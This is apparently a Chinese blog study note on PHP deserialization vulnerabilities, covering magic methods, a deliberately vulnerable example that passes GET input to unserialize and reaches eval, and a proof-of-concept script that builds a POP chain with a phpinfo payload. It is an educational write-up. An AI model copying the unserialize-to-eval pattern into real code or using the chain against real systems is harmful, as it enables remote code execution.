碰到过很多次反序列化的审计,一直都没系统地去看,这两天看了不少博客,自己小小总结一下。

什么是序列化与反序列化

序列化把一个对象变成可存储,可传输的字符串,并且在转换过程中保存变量的值和数据格式,反序列化把序列化后的字符串还原回对象使用,通过这个过程,可以方便数据的传输和存储,使程序更具维护性。

对于PHP反序列化的过程,我们主要围绕两个函数:serialize(),unserialize()。

那么为什么会产生PHP反序列化漏洞利用呢,这就要讲到PHP中几个特殊函数了。

魔术方法

在PHP的语法中,有一些系统自带的方法名,均以双下划线开头,它们会在特定的情况下被调用,即所谓的魔法函数。常见的魔术方法如下:

1
2
3
4
5
6
7
8
9
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString: 当对象被当做一个字符串使用时调用。
__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup: 反序列化恢复对象之前调用该方法
__call: 当调用对象中不存在的方法会自动调用该方法。
__get: 在调用私有属性的时候会自动执行
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发

这位师傅的例子可以清晰的看到这些函数被调用的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,会调用__destruct
?>

image-20200523140420068

由此我们可以设想,如果服务器没对我们提交的序列化字符串进行检测,直接将变量放到这些魔术方法中,那么我们是不是可以控制反序列化进程,从而达到代码执行,getshell的目的呢,答案是肯定的。一道这位师傅的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Example{
public $handle;
function __destruct()
{
$this->shutdown();
}
public function shutdown(){
$this->handle->close();
}
}
class Process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data = unserialize(urldecode($_GET['data']));
}
?>

分析下代码,有两个类Example,Process,Example类中有一个__destruct()魔术方法的析构函数(PHP5引入了析构函数的概念,这类似于其它面向对象的语言),它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数shutdown(),其作用是调用某个地方的close()函数。Process类中有一个成员函数close(),其中包含eval函数,但其参数不可控。

在PHP审计过程中,应当注意一些危险函数是否外部可控以及有没有进行正确过滤,因此这里我们的重点在eval(),如果我们能够将其参数变为可控,那么我们就可以执行任意代码,$pid的控制通过close()函数,Example类的成员函数shutdown()可以调用close(),所以如果把$handle作为Process的一个类对象,那么就可以通过shutdown()调用Process中的close()进而使得$pid可控。按照从思路构造poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Example{
public $handle;
function __construct(){
$this->handle = new process();
}
}

class Process{
public $pid;
function __construct(){
$this->pid = 'phpinfo();';
}
}
$test = new Example();
$payload = serialize($test);
echo $payload;

生成payload为:

image-20200523152607619

当我们序列化的字符串进行反序列化时就会按照我们的设定生成一个Example类对象,当脚本结束时自动调用__destruct()函数,然后调用shutdown()函数,此时$handle为process的类对象,所以接下来会调用process的close()函数,eval()就会执行,而$pid也可以进行设置,此时就造成了代码执行。这里用到了pop链的思想,留个坑。

传入参数getshell:

image-20200523152752906

总结

  • 反序列化不同类型的应用以及pop链的寻找构造还有待学习
  • 该敲代码了